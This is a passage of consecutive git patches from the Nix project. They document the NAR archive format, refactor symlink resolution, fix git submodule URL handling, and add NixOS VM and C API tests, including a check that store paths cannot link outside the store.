-r)" = "$(printf ".attrs.json\n.attrs.sh")" -test "$(<<<"$jsonOut" jq '.variables.out.value' -r)" = "$(<<<"$jsonOut" jq '.structuredAttrs.".attrs.json"' -r | jq -r '.outputs.out')" +test "$(<<<"$jsonOut" jq '.variables.outputs.value.out' -r)" = "$(<<<"$jsonOut" jq '.structuredAttrs.".attrs.json"' -r | jq -r '.outputs.out')" From 3e5797e97fe73f0468e2b3faa0ce6b1860617137 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Wed, 10 Apr 2024 15:21:22 -0400 Subject: [PATCH 0426/1251] Document the Nix Archive format This is adopted from Eelco's PhD thesis. --- doc/manual/src/SUMMARY.md.in | 1 + doc/manual/src/protocols/nix-archive.md | 42 +++++++++++++++++++++++++ 2 files changed, 43 insertions(+) create mode 100644 doc/manual/src/protocols/nix-archive.md diff --git a/doc/manual/src/SUMMARY.md.in b/doc/manual/src/SUMMARY.md.in index 43b9e925f..d9044fbda 100644 --- a/doc/manual/src/SUMMARY.md.in +++ b/doc/manual/src/SUMMARY.md.in @@ -110,6 +110,7 @@ - [Derivation](protocols/json/derivation.md) - [Serving Tarball Flakes](protocols/tarball-fetcher.md) - [Store Path Specification](protocols/store-path.md) + - [Nix Archive (NAR) Format](protocols/nix-archive.md) - [Derivation "ATerm" file format](protocols/derivation-aterm.md) - [Glossary](glossary.md) - [Contributing](contributing/index.md) diff --git a/doc/manual/src/protocols/nix-archive.md b/doc/manual/src/protocols/nix-archive.md new file mode 100644 index 000000000..4fb6282ee --- /dev/null +++ b/doc/manual/src/protocols/nix-archive.md @@ -0,0 +1,42 @@ +# Nix Archive (NAR) format + +This is the complete specification of the Nix Archive format. +The Nix Archive format closely follows the abstract specification of a [file system object] tree, +because it is designed to serialize exactly that data structure. + +[file system object]: @docroot@/store/file-system-object.md + +The format of this specification is close to [Extended Backus–Naur form](https://en.wikipedia.org/wiki/Extended_Backus%E2%80%93Naur_form), with the exception of the `str(..)` function / parameterized rule, which length-prefixes and pads strings. +This makes the resulting binary format easier to parse. + +Regular users do *not* need to know this information. +But for those interested in exactly how Nix works, e.g. if they are reimplementing it, this information can be useful. + +```ebnf +nar = str("nix-archive-1"), nar-obj; + +nar-obj = str("("), nar-obj-inner, str(")"); + +nar-obj-inner + = str("type"), str("regular") regular + | str("type"), str("symlink") symlink + | str("type"), str("directory") directory + ; + +regular = [ str("executable"), str("") ], str("contents"), str(contents); + +symlink = str("target"), str(target); + +(* side condition: directory entries must be ordered by their names *) +directory = str("type"), str("directory") { directory-entry }; + +directory-entry = str("entry"), str("("), str("name"), str(name), str("node"), nar-obj, str(")"); +``` + +The `str` function / parameterized rule is defined as follows: + +- `str(s)` = `int(|s|), pad(s);` + +- `int(n)` = the 64-bit little endian representation of the number `n` + +- `pad(s)` = the byte sequence `s`, padded with 0s to a multiple of 8 byte From 19c8867d2a916fd5af46d8bc6b9449875145abb0 Mon Sep 17 00:00:00 2001 From: Nikhil Dhiman Date: Thu, 11 Apr 2024 02:41:57 +0530 Subject: [PATCH 0427/1251] Fix store-path.md (#10457) Co-authored-by: John Ericson Co-authored-by: Cole Helbling --- doc/manual/src/store/store-path.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/manual/src/store/store-path.md b/doc/manual/src/store/store-path.md index b5ad0c654..085aead51 100644 --- a/doc/manual/src/store/store-path.md +++ b/doc/manual/src/store/store-path.md @@ -46,7 +46,7 @@ But if the store has a file system representation, the store directory contains [file system objects]: ./file-system-object.md -This means a store path is not just derived from the referenced store object itself, but depends on the store the store object is in. +This means a store path is not just derived from the referenced store object itself, but depends on the store that the store object is in. > **Note** > From 85b9f4ef4fcc7b7fc03ff9503f280d736b5c65c7 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Wed, 10 Apr 2024 23:46:19 +0200 Subject: [PATCH 0428/1251] nix shell: Handle output paths that are symlinks This requires moving resolveSymlinks() into SourceAccessor. Also, it requires LocalStoreAccessor::maybeLstat() to work on parents of the store (to avoid an error like "/nix is not in the store"). Fixes #10375. --- src/libstore/local-fs-store.cc | 4 +++ src/libutil/source-accessor.cc | 44 +++++++++++++++++++++++++++++--- src/libutil/source-accessor.hh | 37 ++++++++++++++++++++++++--- src/libutil/source-path.cc | 38 --------------------------- src/libutil/source-path.hh | 31 ++++------------------ src/nix/unix/run.cc | 3 ++- tests/functional/shell-hello.nix | 10 +++++++- tests/functional/shell.sh | 2 ++ 8 files changed, 97 insertions(+), 72 deletions(-) diff --git a/src/libstore/local-fs-store.cc b/src/libstore/local-fs-store.cc index 81c385ddb..843c0d288 100644 --- a/src/libstore/local-fs-store.cc +++ b/src/libstore/local-fs-store.cc @@ -33,6 +33,10 @@ struct LocalStoreAccessor : PosixSourceAccessor std::optional maybeLstat(const CanonPath & path) override { + /* Handle the case where `path` is (a parent of) the store. */ + if (isDirOrInDir(store->storeDir, path.abs())) + return Stat{ .type = tDirectory }; + return PosixSourceAccessor::maybeLstat(toRealPath(path)); } diff --git a/src/libutil/source-accessor.cc b/src/libutil/source-accessor.cc index afbbbe1a9..66093d2cc 100644 --- a/src/libutil/source-accessor.cc +++ b/src/libutil/source-accessor.cc @@ -39,9 +39,9 @@ void SourceAccessor::readFile( } Hash SourceAccessor::hashPath( - const CanonPath & path, - PathFilter & filter, - HashAlgorithm ha) + const CanonPath & path, + PathFilter & filter, + HashAlgorithm ha) { HashSink sink(ha); dumpPath(path, sink, filter); @@ -67,4 +67,42 @@ std::string SourceAccessor::showPath(const CanonPath & path) return displayPrefix + path.abs() + displaySuffix; } +CanonPath SourceAccessor::resolveSymlinks( + const CanonPath & path, + SymlinkResolution mode) +{ + auto res = CanonPath::root; + + int linksAllowed = 1024; + + std::list todo; + for (auto & c : path) + todo.push_back(std::string(c)); + + while (!todo.empty()) { + auto c = *todo.begin(); + todo.pop_front(); + if (c == "" || c == ".") + ; + else if (c == "..") + res.pop(); + else { + res.push(c); + if (mode == SymlinkResolution::Full || !todo.empty()) { + if (auto st = maybeLstat(res); st && st->type == SourceAccessor::tSymlink) { + if (!linksAllowed--) + throw Error("infinite symlink recursion in path '%s'", showPath(path)); + auto target = readLink(res); + res.pop(); + if (hasPrefix(target, "/")) + res = CanonPath::root; + todo.splice(todo.begin(), tokenizeString>(target, "/")); + } + } + } + } + + return res; +} + } diff --git a/src/libutil/source-accessor.hh b/src/libutil/source-accessor.hh index aff7da09c..1f272327f 100644 --- a/src/libutil/source-accessor.hh +++ b/src/libutil/source-accessor.hh @@ -9,6 +9,26 @@ namespace nix { struct Sink; +/** + * Note there is a decent chance this type soon goes away because the problem is solved another way. + * See the discussion in https://github.com/NixOS/nix/pull/9985. + */ +enum class SymlinkResolution { + /** + * Resolve symlinks in the ancestors only. + * + * Only the last component of the result is possibly a symlink. + */ + Ancestors, + + /** + * Resolve symlinks fully, realpath(3)-style. + * + * No component of the result will be a symlink. + */ + Full, +}; + /** * A read-only filesystem abstraction. This is used by the Nix * evaluator and elsewhere for accessing sources in various @@ -112,9 +132,9 @@ struct SourceAccessor PathFilter & filter = defaultPathFilter); Hash hashPath( - const CanonPath & path, - PathFilter & filter = defaultPathFilter, - HashAlgorithm ha = HashAlgorithm::SHA256); + const CanonPath & path, + PathFilter & filter = defaultPathFilter, + HashAlgorithm ha = HashAlgorithm::SHA256); /** * Return a corresponding path in the root filesystem, if @@ -137,6 +157,17 @@ struct SourceAccessor void setPathDisplay(std::string displayPrefix, std::string displaySuffix = ""); virtual std::string showPath(const CanonPath & path); + + /** + * Resolve any symlinks in `path` according to the given + * resolution mode. + * + * @param mode might only be a temporary solution for this. + * See the discussion in https://github.com/NixOS/nix/pull/9985. + */ + CanonPath resolveSymlinks( + const CanonPath & path, + SymlinkResolution mode = SymlinkResolution::Full); }; } diff --git a/src/libutil/source-path.cc b/src/libutil/source-path.cc index 56ae1d699..2a5b20858 100644 --- a/src/libutil/source-path.cc +++ b/src/libutil/source-path.cc @@ -62,44 +62,6 @@ bool SourcePath::operator<(const SourcePath & x) const return std::tie(*accessor, path) < std::tie(*x.accessor, x.path); } -SourcePath SourcePath::resolveSymlinks(SymlinkResolution mode) const -{ - auto res = SourcePath(accessor); - - int linksAllowed = 1024; - - std::list todo; - for (auto & c : path) - todo.push_back(std::string(c)); - - bool resolve_last = mode == SymlinkResolution::Full; - - while (!todo.empty()) { - auto c = *todo.begin(); - todo.pop_front(); - if (c == "" || c == ".") - ; - else if (c == "..") - res.path.pop(); - else { - res.path.push(c); - if (resolve_last || !todo.empty()) { - if (auto st = res.maybeLstat(); st && st->type == InputAccessor::tSymlink) { - if (!linksAllowed--) - throw Error("infinite symlink recursion in path '%s'", path); - auto target = res.readLink(); - res.path.pop(); - if (hasPrefix(target, "/")) - res.path = CanonPath::root; - todo.splice(todo.begin(), tokenizeString>(target, "/")); - } - } - } - } - - return res; -} - std::ostream & operator<<(std::ostream & str, const SourcePath & path) { str << path.to_string(); diff --git a/src/libutil/source-path.hh b/src/libutil/source-path.hh index 59991c640..b8f69af12 100644 --- a/src/libutil/source-path.hh +++ b/src/libutil/source-path.hh @@ -11,26 +11,6 @@ namespace nix { -/** - * Note there is a decent chance this type soon goes away because the problem is solved another way. - * See the discussion in https://github.com/NixOS/nix/pull/9985. - */ -enum class SymlinkResolution { - /** - * Resolve symlinks in the ancestors only. - * - * Only the last component of the result is possibly a symlink. - */ - Ancestors, - - /** - * Resolve symlinks fully, realpath(3)-style. - * - * No component of the result will be a symlink. - */ - Full, -}; - /** * An abstraction for accessing source files during * evaluation. Currently, it's just a wrapper around `CanonPath` that @@ -123,14 +103,13 @@ struct SourcePath bool operator<(const SourcePath & x) const; /** - * Resolve any symlinks in this `SourcePath` according to the - * given resolution mode. - * - * @param mode might only be a temporary solution for this. - * See the discussion in https://github.com/NixOS/nix/pull/9985. + * Convenience wrapper around `SourceAccessor::resolveSymlinks()`. */ SourcePath resolveSymlinks( - SymlinkResolution mode = SymlinkResolution::Full) const; + SymlinkResolution mode = SymlinkResolution::Full) const + { + return {accessor, accessor->resolveSymlinks(path, mode)}; + } }; std::ostream & operator << (std::ostream & str, const SourcePath & path); diff --git a/src/nix/unix/run.cc b/src/nix/unix/run.cc index 02e809e5c..dfd8b643c 100644 --- a/src/nix/unix/run.cc +++ b/src/nix/unix/run.cc @@ -124,7 +124,8 @@ struct CmdShell : InstallablesCommand, MixEnvironment if (true) pathAdditions.push_back(store->printStorePath(path) + "/bin"); - auto propPath = CanonPath(store->printStorePath(path)) / "nix-support" / "propagated-user-env-packages"; + auto propPath = accessor->resolveSymlinks( + CanonPath(store->printStorePath(path)) / "nix-support" / "propagated-user-env-packages"); if (auto st = accessor->maybeLstat(propPath); st && st->type == SourceAccessor::tRegular) { for (auto & p : tokenizeString(accessor->readFile(propPath))) todo.push(store->parseStorePath(p)); diff --git a/tests/functional/shell-hello.nix b/tests/functional/shell-hello.nix index dfe66ef93..5c9b7a4d9 100644 --- a/tests/functional/shell-hello.nix +++ b/tests/functional/shell-hello.nix @@ -1,6 +1,6 @@ with import ./config.nix; -{ +rec { hello = mkDerivation { name = "hello"; outputs = [ "out" "dev" ]; @@ -24,6 +24,14 @@ with import ./config.nix; ''; }; + hello-symlink = mkDerivation { + name = "hello-symlink"; + buildCommand = + '' + ln -s ${hello} $out + ''; + }; + salve-mundi = mkDerivation { name = "salve-mundi"; outputs = [ "out" ]; diff --git a/tests/functional/shell.sh b/tests/functional/shell.sh index 8bbeabedf..d89801929 100644 --- a/tests/functional/shell.sh +++ b/tests/functional/shell.sh @@ -10,6 +10,8 @@ nix shell -f shell-hello.nix hello -c hello NixOS | grep 'Hello NixOS' nix shell -f shell-hello.nix hello^dev -c hello2 | grep 'Hello2' nix shell -f shell-hello.nix 'hello^*' -c hello2 | grep 'Hello2' +# Test output paths that are a symlink. +#nix shell -f shell-hello.nix hello-symlink -c hello | grep 'Hello World' if isDaemonNewer "2.20.0pre20231220"; then # Test that command line attribute ordering is reflected in the PATH From 9d50f57fa360df96a4f92c73db25dcec2a6f39d4 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Thu, 11 Apr 2024 09:00:47 +0200 Subject: [PATCH 0429/1251] Doh --- tests/functional/shell.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/functional/shell.sh b/tests/functional/shell.sh index d89801929..abc091d92 100644 --- a/tests/functional/shell.sh +++ b/tests/functional/shell.sh @@ -11,7 +11,7 @@ nix shell -f shell-hello.nix hello^dev -c hello2 | grep 'Hello2' nix shell -f shell-hello.nix 'hello^*' -c hello2 | grep 'Hello2' # Test output paths that are a symlink. -#nix shell -f shell-hello.nix hello-symlink -c hello | grep 'Hello World' +nix shell -f shell-hello.nix hello-symlink -c hello | grep 'Hello World' if isDaemonNewer "2.20.0pre20231220"; then # Test that command line attribute ordering is reflected in the PATH From 26a4688a868e848760908ee15434eff2774952c3 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Thu, 11 Apr 2024 09:04:26 +0200 Subject: [PATCH 0430/1251] nix shell: Test that store paths cannot link outside of the store --- tests/functional/shell-hello.nix | 8 ++++++++ tests/functional/shell.sh | 3 +++ 2 files changed, 11 insertions(+) diff --git a/tests/functional/shell-hello.nix b/tests/functional/shell-hello.nix index 5c9b7a4d9..c46fdec8a 100644 --- a/tests/functional/shell-hello.nix +++ b/tests/functional/shell-hello.nix @@ -32,6 +32,14 @@ rec { ''; }; + forbidden-symlink = mkDerivation { + name = "forbidden-symlink"; + buildCommand = + '' + ln -s /tmp/foo/bar $out + ''; + }; + salve-mundi = mkDerivation { name = "salve-mundi"; outputs = [ "out" ]; diff --git a/tests/functional/shell.sh b/tests/functional/shell.sh index abc091d92..8a3fef3e7 100644 --- a/tests/functional/shell.sh +++ b/tests/functional/shell.sh @@ -13,6 +13,9 @@ nix shell -f shell-hello.nix 'hello^*' -c hello2 | grep 'Hello2' # Test output paths that are a symlink. nix shell -f shell-hello.nix hello-symlink -c hello | grep 'Hello World' +# Test that symlinks outside of the store don't work. +expect 1 nix shell -f shell-hello.nix forbidden-symlink -c hello 2>&1 | grepQuiet "is not in the Nix store" + if isDaemonNewer "2.20.0pre20231220"; then # Test that command line attribute ordering is reflected in the PATH # https://github.com/NixOS/nix/issues/7905 From 1f73de262961510318328463f943175833994a50 Mon Sep 17 00:00:00 2001 From: Bouke van der Bijl Date: Thu, 14 Mar 2024 16:51:44 +0100 Subject: [PATCH 0431/1251] git fetcher: relax absolute URL check of resolveSubmoduleUrl This matches up the behavior with the internals of libgit2 Fixes #9979 --- src/libfetchers/git-utils.cc | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/src/libfetchers/git-utils.cc b/src/libfetchers/git-utils.cc index 5e560f5f3..5777240ad 100644 --- a/src/libfetchers/git-utils.cc +++ b/src/libfetchers/git-utils.cc @@ -313,7 +313,11 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this std::string res(buf.ptr); - if (!hasPrefix(res, "/") && res.find("://") == res.npos) + // Git has a default protocol of 'ssh' for URLs without a protocol: + // https://git-scm.com/book/en/v2/Git-on-the-Server-The-Protocols#_the_ssh_protocol + // This code matches what git_submodule_resolve_url does inside of itself to see if the URL is already absolute. + // Inside libgit2 it just checks whether there's any ':' in the URL to default to the ssh:// protocol. + if (!hasPrefix(res, "/") && res.find(":") == res.npos) res = parseURL(base + "/" + res).canonicalise().to_string(); return res; From 1a76ca416108c8aefbafbf20f58f66725166b9f9 Mon Sep 17 00:00:00 2001 From: Bouke van der Bijl Date: Fri, 15 Mar 2024 09:30:58 +0100 Subject: [PATCH 0432/1251] Set the origin instead of hacking in the URL resolving --- src/libfetchers/git-utils.cc | 18 +++++++----------- src/libfetchers/git-utils.hh | 6 +++--- src/libfetchers/unix/git.cc | 5 ++++- 3 files changed, 14 insertions(+), 15 deletions(-) diff --git a/src/libfetchers/git-utils.cc b/src/libfetchers/git-utils.cc index 5777240ad..5ecd825b7 100644 --- a/src/libfetchers/git-utils.cc +++ b/src/libfetchers/git-utils.cc @@ -198,6 +198,12 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this return git_repository_is_shallow(*this); } + void setRemote(const std::string & name, const std::string & url) override + { + if (git_remote_set_url(*this, name.c_str(), url.c_str())) + throw Error("setting remote '%s' URL to '%s': %s", name, url, git_error_last()->message); + } + Hash resolveRef(std::string ref) override { Object object; @@ -302,9 +308,7 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this std::vector> getSubmodules(const Hash & rev, bool exportIgnore) override; - std::string resolveSubmoduleUrl( - const std::string & url, - const std::string & base) override + std::string resolveSubmoduleUrl(const std::string & url) override { git_buf buf = GIT_BUF_INIT; if (git_submodule_resolve_url(&buf, *this, url.c_str())) @@ -312,14 +316,6 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this Finally cleanup = [&]() { git_buf_dispose(&buf); }; std::string res(buf.ptr); - - // Git has a default protocol of 'ssh' for URLs without a protocol: - // https://git-scm.com/book/en/v2/Git-on-the-Server-The-Protocols#_the_ssh_protocol - // This code matches what git_submodule_resolve_url does inside of itself to see if the URL is already absolute. - // Inside libgit2 it just checks whether there's any ':' in the URL to default to the ssh:// protocol. - if (!hasPrefix(res, "/") && res.find(":") == res.npos) - res = parseURL(base + "/" + res).canonicalise().to_string(); - return res; } diff --git a/src/libfetchers/git-utils.hh b/src/libfetchers/git-utils.hh index fbb2d947b..600a42da0 100644 --- a/src/libfetchers/git-utils.hh +++ b/src/libfetchers/git-utils.hh @@ -32,6 +32,8 @@ struct GitRepo /* Return the commit hash to which a ref points. */ virtual Hash resolveRef(std::string ref) = 0; + virtual void setRemote(const std::string & name, const std::string & url) = 0; + /** * Info about a submodule. */ @@ -69,9 +71,7 @@ struct GitRepo */ virtual std::vector> getSubmodules(const Hash & rev, bool exportIgnore) = 0; - virtual std::string resolveSubmoduleUrl( - const std::string & url, - const std::string & base) = 0; + virtual std::string resolveSubmoduleUrl(const std::string & url) = 0; virtual bool hasObject(const Hash & oid) = 0; diff --git a/src/libfetchers/unix/git.cc b/src/libfetchers/unix/git.cc index 0966c4710..45e62ebe1 100644 --- a/src/libfetchers/unix/git.cc +++ b/src/libfetchers/unix/git.cc @@ -526,6 +526,9 @@ struct GitInputScheme : InputScheme auto repo = GitRepo::openRepo(cacheDir, true, true); + // We need to set the origin so resolving submodule URLs works + repo->setRemote("origin", repoInfo.url); + Path localRefFile = ref.compare(0, 5, "refs/") == 0 ? cacheDir + "/" + ref @@ -629,7 +632,7 @@ struct GitInputScheme : InputScheme std::map> mounts; for (auto & [submodule, submoduleRev] : repo->getSubmodules(rev, exportIgnore)) { - auto resolved = repo->resolveSubmoduleUrl(submodule.url, repoInfo.url); + auto resolved = repo->resolveSubmoduleUrl(submodule.url); debug("Git submodule %s: %s %s %s -> %s", submodule.path, submodule.url, submodule.branch, submoduleRev.gitRev(), resolved); fetchers::Attrs attrs; From cd06193d1387921caed8aa78b3f3617bea11fd00 Mon Sep 17 00:00:00 2001 From: Bouke van der Bijl Date: Thu, 11 Apr 2024 14:58:42 +0200 Subject: [PATCH 0433/1251] Add nixos test --- tests/nixos/default.nix | 2 ++ tests/nixos/git-submodules.nix | 54 ++++++++++++++++++++++++++++++++++ 2 files changed, 56 insertions(+) create mode 100644 tests/nixos/git-submodules.nix diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix index 627728424..4edf40c16 100644 --- a/tests/nixos/default.nix +++ b/tests/nixos/default.nix @@ -145,6 +145,8 @@ in githubFlakes = runNixOSTestFor "x86_64-linux" ./github-flakes.nix; + gitSubmodules = runNixOSTestFor "x86_64-linux" ./git-submodules.nix; + sourcehutFlakes = runNixOSTestFor "x86_64-linux" ./sourcehut-flakes.nix; tarballFlakes = runNixOSTestFor "x86_64-linux" ./tarball-flakes.nix; diff --git a/tests/nixos/git-submodules.nix b/tests/nixos/git-submodules.nix new file mode 100644 index 000000000..9264369ef --- /dev/null +++ b/tests/nixos/git-submodules.nix @@ -0,0 +1,54 @@ +# Test Nix's remote build feature. + +{ lib, hostPkgs, ... }: + +{ + config = { + name = lib.mkDefault "git-submodules"; + + nodes = + { + remote = + { config, pkgs, ... }: + { + services.openssh.enable = true; + environment.systemPackages = [ pkgs.git ]; + }; + + client = + { config, lib, pkgs, ... }: + { + programs.ssh.extraConfig = "ConnectTimeout 30"; + environment.systemPackages = [ pkgs.git ]; + nix.extraOptions = "experimental-features = nix-command flakes"; + }; + }; + + testScript = { nodes }: '' + # fmt: off + import subprocess + + start_all() + + # Create an SSH key on the client. + subprocess.run([ + "${hostPkgs.openssh}/bin/ssh-keygen", "-t", "ed25519", "-f", "key", "-N", "" + ], capture_output=True, check=True) + client.succeed("mkdir -p -m 700 /root/.ssh") + client.copy_from_host("key", "/root/.ssh/id_ed25519") + client.succeed("chmod 600 /root/.ssh/id_ed25519") + + # Install the SSH key on the builders. + client.wait_for_unit("network.target") + + remote.succeed("mkdir -p -m 700 /root/.ssh") + remote.copy_from_host("key.pub", "/root/.ssh/authorized_keys") + remote.wait_for_unit("sshd") + client.succeed(f"ssh -o StrictHostKeyChecking=no {remote.name} 'echo hello world'") + + remote.succeed("git init bar && git -C bar config user.email foobar@example.com && git -C bar config user.name Foobar && echo test >> bar/content && git -C bar add content && git -C bar commit -m 'Initial commit'") + client.succeed(f"git init foo && git -C foo config user.email foobar@example.com && git -C foo config user.name Foobar && git -C foo submodule add root@{remote.name}:/tmp/bar sub && git -C foo add sub && git -C foo commit -m 'Add submodule'") + client.succeed("nix --flake-registry \"\" flake prefetch 'git+file:///tmp/foo?submodules=1&ref=master'") + ''; + }; +} From 1e4f902b28231497c6f2fe6db3f2d85352efc752 Mon Sep 17 00:00:00 2001 From: Bouke van der Bijl Date: Thu, 11 Apr 2024 15:31:21 +0200 Subject: [PATCH 0434/1251] Add gitSubmodules test to github actions --- .github/workflows/ci.yml | 2 +- tests/nixos/git-submodules.nix | 20 ++++++++++++++++++-- 2 files changed, 19 insertions(+), 3 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 2b8eac49d..cfd1dec5d 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -166,4 +166,4 @@ jobs: - uses: actions/checkout@v4 - uses: DeterminateSystems/nix-installer-action@main - uses: DeterminateSystems/magic-nix-cache-action@main - - run: nix build -L .#hydraJobs.tests.githubFlakes .#hydraJobs.tests.tarballFlakes + - run: nix build -L .#hydraJobs.tests.githubFlakes .#hydraJobs.tests.tarballFlakes .#hydraJobs.tests.gitSubmodules diff --git a/tests/nixos/git-submodules.nix b/tests/nixos/git-submodules.nix index 9264369ef..570b1822b 100644 --- a/tests/nixos/git-submodules.nix +++ b/tests/nixos/git-submodules.nix @@ -46,8 +46,24 @@ remote.wait_for_unit("sshd") client.succeed(f"ssh -o StrictHostKeyChecking=no {remote.name} 'echo hello world'") - remote.succeed("git init bar && git -C bar config user.email foobar@example.com && git -C bar config user.name Foobar && echo test >> bar/content && git -C bar add content && git -C bar commit -m 'Initial commit'") - client.succeed(f"git init foo && git -C foo config user.email foobar@example.com && git -C foo config user.name Foobar && git -C foo submodule add root@{remote.name}:/tmp/bar sub && git -C foo add sub && git -C foo commit -m 'Add submodule'") + remote.succeed(""" + git init bar + git -C bar config user.email foobar@example.com + git -C bar config user.name Foobar + echo test >> bar/content + git -C bar add content + git -C bar commit -m 'Initial commit' + """) + + client.succeed(f""" + git init foo + git -C foo config user.email foobar@example.com + git -C foo config user.name Foobar + git -C foo submodule add root@{remote.name}:/tmp/bar sub + git -C foo add sub + git -C foo commit -m 'Add submodule' + """) + client.succeed("nix --flake-registry \"\" flake prefetch 'git+file:///tmp/foo?submodules=1&ref=master'") ''; }; From ed13cf05a224a08e4f120e0c932289db2d20be84 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sun, 7 Apr 2024 16:31:57 +0200 Subject: [PATCH 0435/1251] build-hook: Allow empty Like always declining; local builds only, as can be inferred from the docs. (Not worth spending too many words on this pretty obvious behavior, I think. Also, plans to remove it? https://github.com/NixOS/nix/issues/1221) --- src/libstore/build/derivation-goal.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libstore/build/derivation-goal.cc b/src/libstore/build/derivation-goal.cc index 29bf2852f..4d4342996 100644 --- a/src/libstore/build/derivation-goal.cc +++ b/src/libstore/build/derivation-goal.cc @@ -1138,7 +1138,7 @@ void DerivationGoal::resolvedFinished() HookReply DerivationGoal::tryBuildHook() { - if (!worker.tryBuildHook || !useDerivation) return rpDecline; + if (settings.buildHook.get().empty() || !worker.tryBuildHook || !useDerivation) return rpDecline; if (!worker.hook) worker.hook = std::make_unique(); From 94d9819bdc9dfa0a62c1e75fc90b2df0409be1ec Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sun, 7 Apr 2024 16:36:05 +0200 Subject: [PATCH 0436/1251] tests/unit/libexpr/main: Fix realisation --- tests/unit/libexpr/main.cc | 39 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 39 insertions(+) create mode 100644 tests/unit/libexpr/main.cc diff --git a/tests/unit/libexpr/main.cc b/tests/unit/libexpr/main.cc new file mode 100644 index 000000000..cf7fcf5a3 --- /dev/null +++ b/tests/unit/libexpr/main.cc @@ -0,0 +1,39 @@ +#include +#include +#include "globals.hh" +#include "logging.hh" + +using namespace nix; + +int main (int argc, char **argv) { + if (argc > 1 && std::string_view(argv[1]) == "__build-remote") { + printError("test-build-remote: not supported in libexpr unit tests"); + return 1; + } + + // Disable build hook. We won't be testing remote builds in these unit tests. If we do, fix the above build hook. + settings.buildHook = {}; + + #if __linux__ // should match the conditional around sandboxBuildDir declaration. + + // When building and testing nix within the host's Nix sandbox, our store dir will be located in the host's sandboxBuildDir, e.g.: + // Host + // storeDir = /nix/store + // sandboxBuildDir = /build + // This process + // storeDir = /build/foo/bar/store + // sandboxBuildDir = /build + // However, we have a rule that the store dir must not be inside the storeDir, so we need to pick a different sandboxBuildDir. + settings.sandboxBuildDir = "/test-build-dir-instead-of-usual-build-dir"; + #endif + + #if __APPLE__ + // Avoid this error, when already running in a sandbox: + // sandbox-exec: sandbox_apply: Operation not permitted + settings.sandboxMode = smDisabled; + setEnv("_NIX_TEST_NO_SANDBOX", "1"); + #endif + + ::testing::InitGoogleTest(&argc, argv); + return RUN_ALL_TESTS(); +} From 48808a53205ceec94bad761266c4325fd28963d1 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sun, 7 Apr 2024 21:19:44 +0200 Subject: [PATCH 0437/1251] tests/unit/libexpr: Enable nix_store_realise test, and add docs --- src/libstore-c/nix_api_store.h | 4 +++- tests/unit/libexpr/nix_api_expr.cc | 11 ++++++----- 2 files changed, 9 insertions(+), 6 deletions(-) diff --git a/src/libstore-c/nix_api_store.h b/src/libstore-c/nix_api_store.h index 1309f99b7..577b70151 100644 --- a/src/libstore-c/nix_api_store.h +++ b/src/libstore-c/nix_api_store.h @@ -111,7 +111,9 @@ bool nix_store_is_valid_path(nix_c_context * context, Store * store, StorePath * /** * @brief Realise a Nix store path * - * Blocking, calls callback once for each realised output + * Blocking, calls callback once for each realised output. + * + * @note When working with expressions, consider using e.g. nix_string_realise to get the output. `.drvPath` may not be accurate or available in the future. See https://github.com/NixOS/nix/issues/6507 * * @param[out] context Optional, stores error information * @param[in] store Nix Store reference diff --git a/tests/unit/libexpr/nix_api_expr.cc b/tests/unit/libexpr/nix_api_expr.cc index 3808bf0eb..fad078d0c 100644 --- a/tests/unit/libexpr/nix_api_expr.cc +++ b/tests/unit/libexpr/nix_api_expr.cc @@ -74,6 +74,9 @@ TEST_F(nix_api_expr_test, nix_build_drv) std::string pEnd = "-myname.drv"; ASSERT_EQ(pEnd, p.substr(p.size() - pEnd.size())); + // NOTE: .drvPath should be usually be ignored. Output paths are more versatile. + // See https://github.com/NixOS/nix/issues/6507 + // Use e.g. nix_string_realise to realise the output. StorePath * drvStorePath = nix_store_parse_path(ctx, store, drvPath); ASSERT_EQ(true, nix_store_is_valid_path(ctx, store, drvStorePath)); @@ -88,11 +91,9 @@ TEST_F(nix_api_expr_test, nix_build_drv) StorePath * outStorePath = nix_store_parse_path(ctx, store, outPath); ASSERT_EQ(false, nix_store_is_valid_path(ctx, store, outStorePath)); - // TODO figure out why fails. - // `make libexpr-tests_RUN` works, but `nix build .` enters an infinite loop - /* nix_store_realise(ctx, store, drvStorePath, nullptr, nullptr); */ - /* auto is_valid_path = nix_store_is_valid_path(ctx, store, outStorePath); */ - /* ASSERT_EQ(true, is_valid_path); */ + nix_store_realise(ctx, store, drvStorePath, nullptr, nullptr); + auto is_valid_path = nix_store_is_valid_path(ctx, store, outStorePath); + ASSERT_EQ(true, is_valid_path); // Clean up nix_store_path_free(drvStorePath); From 1233bcde37e25a41f2230a64aded9bd5813098cd Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 8 Apr 2024 10:34:58 +0200 Subject: [PATCH 0438/1251] libstore-c: Add nix_store_path_clone --- src/libstore-c/nix_api_store.cc | 5 +++++ src/libstore-c/nix_api_store.h | 8 ++++++++ 2 files changed, 13 insertions(+) diff --git a/src/libstore-c/nix_api_store.cc b/src/libstore-c/nix_api_store.cc index d80ba332e..d044ba14f 100644 --- a/src/libstore-c/nix_api_store.cc +++ b/src/libstore-c/nix_api_store.cc @@ -132,3 +132,8 @@ void nix_store_path_free(StorePath * sp) { delete sp; } + +StorePath * nix_store_path_clone(const StorePath * p) +{ + return new StorePath{p->path}; +} diff --git a/src/libstore-c/nix_api_store.h b/src/libstore-c/nix_api_store.h index 577b70151..ab86a81df 100644 --- a/src/libstore-c/nix_api_store.h +++ 